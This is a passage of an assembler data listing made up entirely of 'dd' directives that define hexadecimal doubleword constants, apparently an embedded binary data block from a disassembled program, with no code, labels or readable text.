		dd 0F3EC4CA8h, 3795CD77h, 2A1D7600h, 1268C6DEh,	4878D8h
		dd 412C5357h, 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h
		dd 1459A361h, 5C6521BAh, 8E1D680Bh, 0D025000Ah,	7D6FAB26h
		dd 981A0C7Dh, 868B1A5h,	1FD6B701h, 2552EB7Eh, 858630h
		dd 18547078h, 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h
		dd 203D3251h, 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h
		dd 70801h, 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h
		dd 0E850E44Ch, 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah
		dd 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh
		dd 0FCF2FCEAh, 2E100FAh, 12C90A31h, 0D93D1AD1h,	0E92A0022h
		dd 0F93AF132h, 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h
		dd 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h
		dd 4FFEFCF6h, 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah
		dd 0BF90B87Eh, 3477071Ch, 80CD9D3Ah, 27263513h,	7E0479Ch
		dd 55362161h, 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh
		dd 1ECD9EC2h, 1FDF9FD5h, 0F300E974h, 0F390987h,	15471D27h
		dd 0B43A6730h, 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h
		dd 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah
		dd 2E672847h, 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh
		dd 303B1AE1h, 0D17FC9h,	0E0BDD99Fh, 0DC723CCFh,	3D0F1C00h
		dd 1D2E9D15h, 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh
		dd 0F4F8ECF4h, 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h
		dd 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh
		dd 8CC0007h, 3A309C3Bh,	1D00649Dh, 1E7D9E6Dh, 3A8B9F85h
		dd 9B3B941Fh, 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh
		dd 3EFE971Eh, 5401488Eh, 73495C0Fh, 0C492F924h,	4600CA10h
		dd 1CFC7E0Eh, 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh
		dd 87F980EEh, 3083302h,	21471827h, 0F0017267h, 93C789A7h
		dd 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h, 3465E1h,	0D1ABC98Dh
		dd 0E0BFD9B7h, 72351900h, 7627741Fh, 6278014Ah,	3F368349h
		dd 0D0C9C9B5h, 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh
		dd 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h
		dd 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh
		dd 0D3C3A1B3h, 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h
		dd 12A71DCCh, 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h
		dd 0CF19ABC8h, 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah
		dd 1CF2007Eh, 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh
		dd 7873762Bh, 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h
		dd 673D4447h, 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h
		dd 9A24CDE9h, 9AE8FCE3h, 3604003Ch, 0D117C909h,	0CA00D9BEh
		dd 503AFBE0h, 4080C4h, 0C3146C81h, 0A7934A92h, 0B2B6A301h
		dd 643203CFh, 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h
		dd 368040E8h, 0E6A12A56h, 76F20074h, 380B1CF9h,	32009D29h
		dd 459E3E1Dh, 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h
		dd 723B0EC8h, 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh
		dd 0E0C953h, 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h
		dd 28C1206h, 345E00C3h,	0A33A9333h, 53B3441Eh, 67D35DC0h
		dd 0F279E3h, 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch,	0D31DCB9Dh
		dd 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh
		dd 7C2C7A74h, 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh,	4F8A0F82h
		dd 0CF9A8F92h, 0CFAACFA2h
		dd 0C0C4CFB2h, 0D6012AF5h, 763B0074h, 7A687843h, 7E717C70h
		dd 9E758473h, 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch
		dd 91D259Dh, 1E489E43h,	87675584h, 678647B5h, 0AF96878Eh
		dd 9F1E1FF3h, 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh
		dd 80F61FFFh, 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h
		dd 46EE0E4Fh, 56404ECFh, 661A0FD6h, 76F46EF0h, 0CA0E7EF8h
		dd 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h
		dd 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h, 1E8E0016h
		dd 2E0F26CFh, 8F00364Fh, 2746CB3Eh, 14E75638h, 0F466E55Eh
		dd 7EF27603h, 0F9D92EC9h, 6406C8F4h, 0E8142C01h, 0F024EC1Ch
		dd 0E1190DCh, 44FC3CF8h, 548E4C4Eh, 640F5CCFh, 748F6C4Fh
		dd 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h
		dd 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h, 40260F4h, 3A0C3B39h
		dd 1C00143Ah, 2C3D243Ch, 3F77343Eh, 4CE844E4h, 5C7A1B92h
		dd 6C7E647Ch, 7C7E747Eh, 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh
		dd 0BC49B47Eh, 3FCC3F23h, 24DC05D4h, 4E87AAE4h,	487FC20h
		dd 195B03Ch, 671C4714h,	602C8424h, 253CC93h, 7CFEC77Fh
		dd 40E884E7h, 7ED492A3h, 0CE74BC72h, 0FE00CCFh,	80FA5FF4h
		dd 7404723Dh, 140C7608h, 0BB481078h, 1C396548h,	3C3B2A3Ah
		dd 643D5C3Ch, 6C3F683Eh, 743F703Fh, 2C64783Fh, 987C9280h
		dd 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h
		dd 1C3E0114h, 248B204Eh, 0A72CE427h, 34C43001h,	3CE75D87h
		dd 0EC6CEC74h, 0F478F074h, 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch
		dd 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h, 0F3E450C3h
		dd 0F2ECC8E8h, 54690400h, 0D930D12Ch, 38E13934h, 4E405C92h
		dd 4C884830h, 8815ABA9h, 0AF902AADh, 3F309849h,	91A422A0h
		dd 49E0122Ah, 2E24E82Ch, 0F83093F0h, 8C99F0F7h,	130F6010h
		dd 612501D4h, 51347882h, 0F96890F3h, 3090E488h,	0BA675274h
		dd 0A4727E54h, 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh
		dd 0D0F8C3F4h, 3970FCh,	83A0431h, 383C665Ch, 2E403D00h
		dd 4C9F6844h, 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h
		dd 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh
		dd 82D7F8E5h, 93043D80h, 0CA30008h, 20C310B3h, 500040D2h
		dd 0B4C4A94h, 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch
		dd 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h
		dd 48045D33h, 3C00D7ACh, 0B2142E10h, 960E1C9Fh,	214F1720h
		dd 60CF5C22h, 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh
		dd 12BC8732h, 2249C0E7h, 7C2426C8h, 0DC00D87Eh,	3974ECE6h
		dd 4D3A1434h, 200B1018h, 5A8E243Dh, 0FDFF2C20h,	4873029Fh
		dd 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h
		dd 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh
		dd 782E5CE8h, 592400CCh, 0B35C9228h, 38F47F13h,	20B88F01h
		dd 0DA2474BAh, 78CC927Ch, 7C8C7A88h, 98C3A090h,	0A01E0E0Fh
		dd 0B840A4CFh, 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h
		dd 0ED3CE834h, 44095670h, 4F848F4h, 49D25094h, 419A4A58h
		dd 0E2F1C688h, 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h
		dd 4104623Bh, 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h
		dd 818E259Fh, 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h
		dd 0A2607083h, 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h
		dd 0A748009Fh, 81331C50h, 0F9B9D07h, 36A034B5h,	4F274Ah
		dd 1ED35B45h, 50B0D2ABh, 0EF007EE0h, 3A0E215Dh,	388B3B65h
		dd 9F00A72Eh, 4B0216D8h, 273347F2h, 0F08282E6h,	0DCC7BCh
		dd 713905E1h, 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h
		dd 2B0E0058h, 704E6B3Bh, 0CF00788Eh, 21B30BA2h,	613C7150h
		dd 0D8A5437Fh, 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h
		dd 7ACD6077h, 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h
		dd 47780203h, 989B6787h, 12AEFEh, 940CF188h, 30050708h
		dd 0D824A509h, 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh
		dd 0FB7E48Bh, 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh
		dd 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h
		dd 9EDA1DD5h, 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h
		dd 0C45385h, 0F85056A0h, 1C960055h, 0CE4F6712h,	8272CF79h
		dd 0B100A874h, 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h
		dd 11360800h, 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh
		dd 7E3E6B04h, 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h
		dd 610F2BC9h, 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h,	0FC288C24h
		dd 0B12E2F6h, 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h
		dd 0EC6D8E00h, 7BF073h,	0C0F880F4h, 0C85D9EBAh,	0D02EA000h
		dd 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h
		dd 7A926EE3h, 10B00008h, 0BA18B274h, 20005DB4h,	0B8282EB6h
		dd 0F64B3097h, 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h
		dd 0C6605DC4h, 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h
		dd 5761D0E9h, 0BA98DCh,	0D6A05CD4h, 0B8CBB0CFh,	0C8D89900h
		dd 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h
		dd 2CFC7318h, 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh
		dd 97A980E6h, 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h
		dd 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh
		dd 0EB75602Eh, 99FA00ABh, 24E920F8h, 210B2CF1h,	8B38F9F2h
		dd 500990ACh, 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah
		dd 4FF0FF3Eh, 780A0070h, 4E5B7A57h, 0FA16095Fh,	5001A1BBh
		dd 97C9893Fh, 0C60434h,	0C32DAE1h, 88609020h, 300B0F00h
		dd 48493327h, 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h,	67A8A707h
		dd 86317247h, 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h
		dd 6A00E4F2h, 424C0B8h,	0E4937h, 3C233BBEh, 4102672Dh
		dd 0E74BC70Eh, 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh
		dd 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h
		dd 0E53A0Fh, 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h
		dd 3E560060h, 0E974B272h, 8A003750h, 3F62E1A0h,	15D0770h
		dd 75312E30h, 0FCD31524h, 5213A24Bh, 760088E9h,	342B50E0h
		dd 356D001Ch, 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h
		dd 60EDF332h, 0C09C482Ch, 8700FB1Dh, 249F394Eh,	1E16C4E5h
		dd 4083FAF0h, 1525F33Bh, 1C3E2E84h, 0A6828095h,	7AFE50ADh
		dd 0E87C00D0h, 184A3EE0h, 4900E60Eh, 550BF1CFh,	0E940427h
		dd 0C964B047h, 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh
		dd 170E00E3h, 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh
		dd 0FA50BF07h, 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h
		dd 3A3E3339h, 983B8000h, 0EE3DB33Ch, 3409000Eh,	0E14A492Eh
		dd 0D2E6943Eh, 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh
		dd 8D3ACA6Ch, 9F379600h, 0D78EB84Eh, 12F03DCFh,	43F100F0h
		dd 936D391Dh, 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h
		dd 805CF4E2h, 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h
		dd 1B097E6Ch, 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h
		dd 8430170Bh, 38A0DE3Bh
		dd 0E8FF3Dh, 1DF612F2h,	0FE27FAh, 0F437B02Dh, 0B25AF849h
		dd 734A6601h, 0E2922E09h, 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h
		dd 28203581h, 48A8001Ch, 504F7AB2h, 5801BA09h, 14642641h
		dd 1D6424A6h, 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh
		dd 2A0014ECh, 0AEB00472h, 4A0C76h, 18320F10h, 20CF1C8Fh
		dd 284C9DE5h, 34C82C81h, 60C85C9Fh, 0C2640093h,	0F0786CEEh
		dd 5E75747Eh, 0E18088C0h, 72F988F6h, 7690748Ch,	0D39C7894h
		dd 0C8630080h, 0FCD0E864h, 0B892D400h, 0E04DDC7Eh, 67983Ah
		dd 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h, 0A22C9324h, 2E91C30h
		dd 0F13CC038h, 6844F940h, 66011C4Eh, 10542E50h,	5CA05344h
		dd 0F498F090h, 1F52949Ch, 9FA89FA4h, 92B085ACh,	0BCA203B4h
		dd 5AF1C0C9h, 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh, 83840B3Ah
		dd 0DC42C29h, 3D604D1h,	803E873Ch, 5869A02Bh, 0C5E1BF00h
		dd 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h, 66013142h
		dd 0C8986C00h, 37DEFB50h, 741A0172h, 0D7C4A78h,	69B03084h
		dd 0D62D8A0Fh, 0EBFB0007h, 5407849h, 0F03C6E68h, 4BC68070h
		dd 0E7B0212Dh, 0B745AB03h, 98D662D3h, 2DEFE2E3h, 6F004EE8h
		dd 0F8895961h, 587E3C5Ch, 7E5C59h, 3D0283DDh, 0AB9322h
		dd 0A73E19A0h, 27E8CAE4h, 33033FE2h, 67521687h,	0A593A873h
		dd 700827B5h, 0E000E674h, 0C77230F8h, 68D4004Dh, 5731130Eh
		dd 0C1016349h, 0B3E182A2h, 7F49038h, 4E560032h,	331883D7h
		dd 88739250h, 0B300667Ah, 8FD2300Fh, 0FBCFE6h, 0EC2708C9h
		dd 0E0224418h, 0B62C4BE4h, 9F005CAAh, 836F9769h, 0F39D1C6Ch
		dd 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h
		dd 0AA9D60C0h, 74077202h, 6015760Dh, 5217A74h, 2F7E297Ch
		dd 0C0D11CCFh, 274BC945h, 0E7395DF6h, 0F4720065h, 8AF8927Eh
		dd 0AEF20049h, 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h
		dd 583BDAD4h, 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh
		dd 8F874F7Fh, 0C09DCF8Fh, 49B592A7h, 61C303CCh,	0D7F9D1B0h
		dd 0E3A3DD93h, 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h
		dd 28823302h, 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h
		dd 10E4D1h, 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h
		dd 3E2D000Bh, 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh
		dd 44001C7Eh, 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h
		dd 44070292h, 0E15C1449h, 88F981AFh, 1670092Ah,	4F221D50h
		dd 0A08EC798h, 33E190E0h, 3400C213h, 59EC4AC6h,	0E6195D6h
		dd 72692CD8h, 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h
		dd 92620026h, 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h
		dd 7BE0024h, 0FE4AC90h,	17FE13E8h, 0BA3E04B8h, 0D33E6782h
		dd 0E01CD722h, 9D2730h,	92AA1DA6h, 89BE5EA7h, 2F2B3E02h
		dd 60A414C0h, 1BD3A3Dh,	9425FF4h, 0EC51019Ch, 0A0006012h
		dd 6CE868E6h, 0FC3108CEh, 32350087h, 33092139h,	0B100C90Dh
		dd 5F343CD0h, 0F40B40h,	0C832E1C0h, 765E41EAh, 257AC90Bh
		dd 0D3430462h, 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h
		dd 80623900h, 793A7578h, 0E87D03E4h, 5D3B2659h,	0C3B8B4CBh
		dd 0A300B734h, 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh
		dd 1F71FAACh, 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h
		dd 5780BC08h, 8AB8AE30h, 3101430Bh, 0E1DA424Fh,	87CC7B9Ch
		dd 0F19402E9h, 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah
		dd 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah
		dd 0F42CF028h, 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h
		dd 12140037h, 3FB24BDCh, 5E006C24h, 0FC7778E0h,	88BE84h
		dd 0CF39C307h, 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah
		dd 3C703389h, 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h
		dd 0F5F2583Bh, 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h
		dd 63A5FC87h, 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h
		dd 1D720201h, 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h
		dd 94004974h, 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh
		dd 3A51F60Eh, 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h
		dd 0CEBAE680h, 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h
		dd 37E0018Eh, 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h
		dd 213B121Fh, 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh
		dd 43FA0729h, 0F04F6500h, 7BF86E6Ch, 9C3200B8h,	1F06267Ch
		dd 0BF0293B3h, 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h
		dd 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh
		dd 0B8C9AB30h, 1A03093Ah, 5E08D00Fh, 5D78A835h,	2469000Bh
		dd 0FCBC7AD2h, 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h
		dd 83A295D5h, 3F2F7A0h,	740068F0h, 783E9822h, 574946h
		dd 259B3FA8h, 41E462A5h, 0F8FEAC00h, 9354338Fh,	0ECEA01F6h
		dd 3904F0F5h, 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h
		dd 406E3CAAh, 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh
		dd 167C0094h, 28AED94Ch, 9302F27Eh, 0F9B0A6C9h,	761350B6h
		dd 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h
		dd 0C08C5056h, 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h
		dd 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h, 20D1140Fh,	2FE140D9h
		dd 7F13BE9h, 6C0B2B44h,	7BC0BE58h, 0FCB778A0h, 79DC300h
		dd 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h
		dd 22A95Bh, 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h
		dd 8C084C78h, 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh
		dd 5D3E0157h, 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h
		dd 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh
		dd 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h
		dd 58B88EC9h, 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h
		dd 48058F80h, 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h
		dd 0A044128Eh, 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h
		dd 28050790h, 4BF045ECh, 0A2923C80h, 0F6F034Fh,	88CF815Ch
		dd 0ADCBA390h, 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah
		dd 2B78C96Dh, 598D1609h, 0A2B11214h, 3FDA3F94h,	58FC00F2h
		dd 3A1939ECh, 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh
		dd 96351EC9h, 973E803Ch, 95AAC277h, 0B87E7170h,	0C3E203AAh
		dd 6F2FD30h, 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h
		dd 5F1DFF4Ch, 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch
		dd 22C12EB3h, 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h
		dd 0F575AF8h, 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h
		dd 38390008h, 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch
		dd 2C918C2h, 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h
		dd 0FE60D353h, 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 0F100DD72h
		dd 70D0FDF2h, 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh
		dd 0EC18B25h, 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h
		dd 20B449EAh, 0C02CEA3Bh, 0F416Fh, 61574B4Dh, 93F985FAh
		dd 2C6440C0h, 197ECh, 173C07A2h, 41D122C9h, 2452D900h
		dd 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh
		dd 0BD3C3Bh, 0C1C725C2h
		dd 0F9D11C60h, 3ADB9DD6h, 3E6AF880h, 83747972h,	0BA934800h
		dd 133F0AC2h, 5FE870h, 767C0F45h, 0A68F854Fh, 3E3CF39h
		dd 900EDCF5h, 70409801h, 4E0F018Eh, 582D8921h, 0E0B4F5FAh
		dd 760EC359h, 4E86F379h, 0F29F808Eh, 4DECE9A4h,	0F13082B9h
		dd 72310C89h, 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh
		dd 99F85EECh, 0AC3825C0h, 6005070Bh, 0E6C593CEh, 2504180h
		dd 0C314034Fh, 5DB3285Ah, 0B2D381A8h, 0F2BBE309h, 5CD880E6h
		dd 486E2D2Ah, 580570FAh, 0F0817C90h, 4E019555h,	0BF5E0F9Eh
		dd 0D6C9C9CFh, 72C2DECCh, 0FA702C60h, 765D06AEh, 27008D7Bh
		dd 0D9F641C1h, 7938E9F9h, 4B037946h, 7E5FCEEh, 853D7E58h
		dd 2E0591B0h, 16A101ABh, 0FCCFCE20h, 92F1C8DFh,	1101CC7Ah
		dd 84321E36h, 0F840563Bh, 22824Ch, 4F2A7063h, 8EF60F7Ch
		dd 98CF39h, 0C2A8CBA1h,	3A94E124h, 27AE38D3h, 1E200FC5h
		dd 0B3329201h, 0F0C14768h, 0F1A0E288h, 0C21F1200h, 0DF27C791h
		dd 0E2F8F641h, 72380F07h, 83E04E15h, 64C35CD8h,	0E26FD307h
		dd 0C69049B2h, 924D7F9h, 859FEDD6h, 5AFE9170h, 8056B03Ah
		dd 0F8A6F490h, 9A94ABh,	0AAA0D813h, 773A394Eh, 3E1E59F0h
		dd 4C0EC49h, 40900C3Dh,	423000BCh, 0ADA0997h, 1239E002h
		dd 8E76B857h, 409F84ECh, 98A8BB2Eh, 6B30FF3Fh, 9E100326h
		dd 5B133C9Dh, 7C27D400h, 6CC7D461h, 7405EE14h, 0F83B1F84h
		dd 84629F96h, 80F99EBAh, 4E740C38h, 9D9A2D38h, 6B805678h
		dd 0CFA2E80Fh, 0EECB00E5h, 34030E41h, 1CF81694h, 1700FDB8h
		dd 4A384929h, 395D9699h, 890083F9h, 0A1278A68h,	0B17BAC61h
		dd 0D26CCB00h, 6436DE2Eh, 184E00FCh, 78D82A49h,	3BF01EB8h
		dd 8756C23Bh, 30546C62h, 0C0D375A2h, 0EB53CAAh,	0E27E0E50h
		dd 95DF140h, 430E2506h,	63AF3487h, 14A4D9h, 3BA03AACh
		dd 3DB43CA5h, 0DE2CC91Fh, 3EB18404h, 58882A80h,	0FEDBFEDAh
		dd 1E3F4DFh, 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h
		dd 0FD000D3Fh, 37CF258Eh, 4F3D380Fh, 1E558F9Eh,	0C96D8067h
		dd 4EC05881h, 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh
		dd 0E4000982h, 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh
		dd 0C26B9200h, 50698074h, 0C4C2A09Ch, 36AF4B8h,	0F6C97831h
		dd 1000D9BDh, 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h
		dd 351A8500h, 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h
		dd 0C8C50C17h, 8DF40Fh,	6CE1918Bh, 539DF999h, 0F2A5FC00h
		dd 0C5FEA7A9h, 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh
		dd 0C08CF872h, 8EC19Eh,	90093E82h, 4F92F08Ah, 7C42E6E5h
		dd 0A27E3A40h, 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h
		dd 987A9CD8h, 7E0EACFAh, 0E0E959C0h, 253A110Eh,	3BFA005Fh
		dd 3D613C4Dh, 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch
		dd 6CAB9Ch, 9302F624h, 8600C218h, 0C0E48457h, 9085E808h
		dd 4E5D2C33h, 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h
		dd 0A4392EDDh, 0FDB0C7Bh, 311EF754h, 2D921C09h,	80418BC9h
		dd 2171FE4Dh, 33B01F28h, 0D1C300B9h, 344CD8D3h,	0AC394F2Eh
		dd 36E9A300h, 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh
		dd 4C35272Dh, 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h
		dd 0E5A31C00h, 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh
		dd 80508BB5h, 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h
		dd 0C23B3A84h, 305C8351h, 77937B1Fh, 70980186h,	34AC5D5Eh
		dd 0CA2D603Fh, 0DE08C102h, 0C0060F2Eh, 580A12h,	4A3074FEh
		dd 44F6C838h, 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h
		dd 0DC9270E8h, 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h
		dd 0E1ECB1E8h, 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h
		dd 9EA81D60h, 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h
		dd 9EC669D7h, 95A7C00h,	0A966374Fh, 968500A0h, 6E50920Eh
